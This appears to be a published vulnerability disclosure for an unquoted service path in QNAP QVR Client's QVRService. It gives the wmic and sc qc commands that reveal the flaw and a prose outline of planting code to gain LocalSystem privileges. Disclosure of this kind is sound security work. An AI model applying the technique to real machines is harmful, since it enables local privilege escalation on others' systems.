# Exploit Title: QNAP QVR Client 5.0.0.13230 - 'QVRService' Unquoted Service Path # Discovery by: Luis Martinez # Discovery Date: 2021-03-14 # Vendor Homepage: https://www.qnap.com # Tested Version: 5.0.0.13230 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 es # Step to discover Unquoted Service Path: C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "QVR" | findstr /i /v """ QVRService QVRService C:\Program Files (x86)\QNAP\QVR\QVRService.exe Auto # Service info: C:\>sc qc "QVRService" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: QVRService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\QNAP\QVR\QVRService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : QVRService DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.